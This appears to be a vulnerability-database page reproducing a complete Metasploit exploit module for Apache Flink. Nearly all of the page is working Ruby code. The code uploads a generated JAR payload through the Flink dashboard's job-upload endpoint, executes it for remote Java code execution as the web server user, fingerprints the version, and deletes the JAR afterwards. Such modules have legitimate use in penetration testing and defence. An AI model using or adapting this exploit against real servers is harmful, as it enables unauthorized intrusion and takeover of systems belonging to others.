Lucene search
K

Apache Flink JAR Upload Java Code Execution Exploit

🗓️ 23 Feb 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 26 Views

This module exploits a vulnerability in Apache Flink, allowing an attacker to upload and execute a JAR file, resulting in remote execution of arbitrary Java code

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Flink JAR Upload Java Code Execution',
        'Description' => %q{
          This module uses job functionality in Apache Flink dashboard web
          interface to upload and execute a JAR file, leading to remote
          execution of arbitrary Java code as the web server user.

          This module has been tested successfully on Apache Flink versions:
          1.9.3 on Ubuntu 18.04.4;
          1.11.2 on Ubuntu 18.04.4;
          1.9.3 on Windows 10; and
          1.11.2 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Henry Chen', # Initial technique demonstration and writeup
            'bigger.wing', # Python exploit
            'bcoles' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '48978'],
            ['PACKETSTORM', '159779'],
            ['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'],
            ['URL', 'https://s.tencent.com/research/bsafe/841.html'],
            ['URL', 'https://cloud.tencent.com/developer/article/1540439'],
            ['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'],
          ],
        'Platform' => 'java',
        'Arch' => [ARCH_JAVA],
        'Targets' =>
          [
            ['Automatic', {}]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2019-11-13',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
            'Stability' => [ CRASH_SAFE ],
            'Reliability' => [ REPEATABLE_SESSION]
          }
      )
    )

    register_options([
      Opt::RPORT(8081)
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'config')
    })

    unless res
      return CheckCode::Unknown('No reply.')
    end

    unless res.body.include?('flink')
      return CheckCode::Safe('Target is not Apache Flink.')
    end

    version = res.get_json_document['flink-version']
    if version
      return CheckCode::Appears("Apache Flink version #{version}.")
    end

    CheckCode::Appears
  end

  def delete_jar(filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', filename),
      'method' => 'DELETE',
      'ctype' => 'application/json;charset=UTF-8'
    )
  end

  def list_jars
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars'),
      'method' => 'GET'
    )
  end

  def upload_jar(filename, data)
    post_data = Rex::MIME::Message.new
    post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name=\"jarfile\"; filename=\"#{filename}\"")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', 'upload'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
  end

  def run_jar(filename, entry_class)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'),
      'method' => 'POST',
      'ctype' => 'application/json;charset=UTF-8',
      'vars_get' => {
        'entry-class' => entry_class
      },
      'data' => {
        entryClass: entry_class,
        parallelism: nil,
        programArgs: nil,
        savepointPath: nil,
        allowNonRestoredState: nil
      }.to_json
    )
  end

  def cleanup
    return unless @jar

    print_status("Removing JAR file '#{@jar}' ...")

    res = delete_jar(@jar)

    unless res && res.code == 200
      print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'")
    end
  end

  def exploit
    data = generate_payload.encoded_jar.pack
    fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data

    filename = "#{rand_text_alpha(8..12)}.jar"

    print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")

    res = upload_jar(filename, data)

    unless res
      fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
    end

    unless res.get_json_document['status'] == 'success'
      fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')
    end

    print_status('Retrieving list of avialable JAR files ...')

    res = list_jars

    unless res
      fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")
    end

    jars = res.get_json_document['files']

    if jars.blank?
      fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.')
    end

    jars.each do |jar|
      if jar['name'] == filename
        @jar = jar['id']
        break
      end
    end

    unless @jar
      fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.')
    end

    print_good("Found uploaded JAR file '#{@jar}'")

    entry_class = 'metasploit.Payload'
    print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...")

    run_jar(@jar, entry_class)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation